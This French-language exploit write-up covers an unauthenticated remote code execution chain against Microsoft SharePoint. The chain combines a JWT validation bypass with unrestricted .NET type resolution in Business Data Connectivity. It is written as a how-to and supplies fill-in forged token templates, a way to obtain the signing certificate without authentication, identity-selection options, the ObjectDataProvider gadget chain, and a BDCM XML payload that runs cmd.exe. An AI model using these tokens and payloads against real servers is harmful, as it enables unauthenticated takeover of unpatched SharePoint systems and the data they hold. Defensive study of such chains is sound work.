
Chaîne d'exploitation pour une RCE non authentifiée sur Microsoft SharePoint, combinant un contournement d'authentification JWT avec une instanciation de type .NET non sécurisée pour obtenir l'exécution de code en tant que compte de service.
RCE non authentifié sur Microsoft SharePoint Server. Aucun identifiant requis.
Stephen Fewer (Rapid7) a démontré CVE-2026-55040 lors du Pwn2Own Berlin 2026. Rapid7 a ensuite découvert CVE-2026-63520 lors de recherches de suivi, et VulnCheck a indépendamment trouvé une chaîne de gadgets alternative. Ensemble, ces deux bogues vous donnent une exécution de code à distance non authentifiée contre tout SharePoint non corrigé sur Internet.
La CISA a émis des alertes dans les heures suivant la publication du PoC. Il est exploité dans la nature.
Deux bogues, une chaîne :
| CVE | Type | CVSS | Ce qui casse |
|---|---|---|---|
| CVE-2026-55040 | Contournement d'authentification JWT | 9.1 | La validation du jeton S2S de SharePoint présente quatre faiblesses indépendantes. Enchaînez-les et vous forgez un JWT valide pour n'importe quel utilisateur — y compris les administrateurs de site — sans connaître leur mot de passe. |
| CVE-2026-63520 | Instanciation de type .NET non sécurisée → RCE | 8.1 | Business Data Connectivity (BDC) résout des noms de types .NET arbitraires à partir de XML téléversé sans aucune liste blanche. Pointez-le vers ObjectDataProvider et vous obtenez Process.Start(). |
Aucun des deux bogues n'est intéressant seul. CVE-2026-63520 nécessite une authentification. CVE-2026-55040 vous donne l'authentification. Ensemble : RCE non authentifié en tant que compte de service SharePoint.
SharePoint utilise des JWT imbriqués pour l'authentification serveur-à-serveur (S2S). Un jeton externe porte l'identité de l'utilisateur, un « jeton acteur » interne représente l'application appelante. Quatre faiblesses dans SPJsonWebSecurityTokenHandlerV2.ValidateToken() font tout s'effondrer :
Faiblesse 1 — La vérification de signature est désactivée. Le validateur définit RequireSignedTokens = false. Le jeton externe accepte alg: none. Aucune signature requise.
Faiblesse 2 — Résolution x5t sans vérification. La clé de signature du jeton acteur est résolue en recherchant l'en-tête x5t (empreinte du certificat) dans le magasin de certificats. SharePoint ne vérifie jamais si la signature du jeton acteur correspond réellement à cette clé.
Faiblesse 3 — La validation de l'émetteur accepte les certificats inconnus. ValidateIssuer() réussit si le certificat de signature n'est pas dans la collection TrustedSecurityTokenServices. Le propre certificat STS de SharePoint n'y est pas enregistré. Donc, y faire référence via x5t passe la validation de l'émetteur inconditionnellement.
Faiblesse 4 — Vérification de signature non cryptographique. GetTokenSignature() exige une chaîne non vide mais ne fait aucune validation cryptographique. N'importe quelle valeur fonctionne. AAAA fonctionne.
Le certificat STS est public. Vous le récupérez depuis /_layouts/15/metadata/json/1 — un point de terminaison non authentifié — calculez l'empreinte SHA-1, et vous avez tout ce qu'il vous faut.
Jeton externe (porte l'identité de l'utilisateur) :
// En-tête
{"alg": "none", "typ": "JWT"}
// Charge utile
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID ou UPN cible>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT interne>"
}
// Signature : vide (alg:none)
Jeton acteur interne (représente l'« application ») :
// En-tête
{"alg": "RS256", "typ": "JWT", "x5t": "<empreinte du certificat STS>"}
// Charge utile
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Signature : "AAAA" (littéralement n'importe quoi de non vide)
Trois façons de choisir une identité :
| Mode | nameid | nii | Ce dont vous avez besoin |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID de domaine (via session SMB nulle) + brute-force RID |
| UPN | upn_bypass + revendication upn | urn:office:idp:activedirectory | Un UPN valide (ex. [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Rien. Accès limité mais suffisant pour certaines chaînes. |
Le service Business Data Connectivity de SharePoint permet aux administrateurs de définir des sources de données externes via des fichiers XML de modèle BDC (.bdcm). Ces modèles spécifient des types .NET que BDC instancie à l'exécution.
Le problème se trouve dans DbTypeReflector.ResolveDotNetType() :
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // n'importe quel type dans le GAC
Les noms de types de moins de 15 caractères passent par un résolveur sûr. Tout ce qui est plus long appelle directement Type.GetType() — qui résout n'importe quel nom de type qualifié par assembly depuis le Global Assembly Cache. Pas de liste blanche. Pas de liste noire. L'attaquant contrôle abstractTypeName via le XML BDCM.
Nous utilisons System.Windows.Data.ObjectDataProvider de PresentationFramework. Lorsque vous définissez sa propriété ObjectInstance, il invoque MethodName sur cette instance. Définissez MethodName = "Start" et ObjectInstance = System.Diagnostics.Process avec un StartInfo élaboré, et la réflexion du setter de propriété de BDC fait le reste :
ObjectDataProvider créé
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <payload>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ le setter de propriété déclenche QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
Le XML BDCM qui transporte ceci :
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck a documenté une chaîne alternative utilisant System.Web.UI.LosFormatter avec désérialisation TypeConfuseDelegate via un LobSystem DotNetAssembly. Plusieurs gadgets fonctionnent — la primitive sous-jacente est une instanciation de type sans restriction.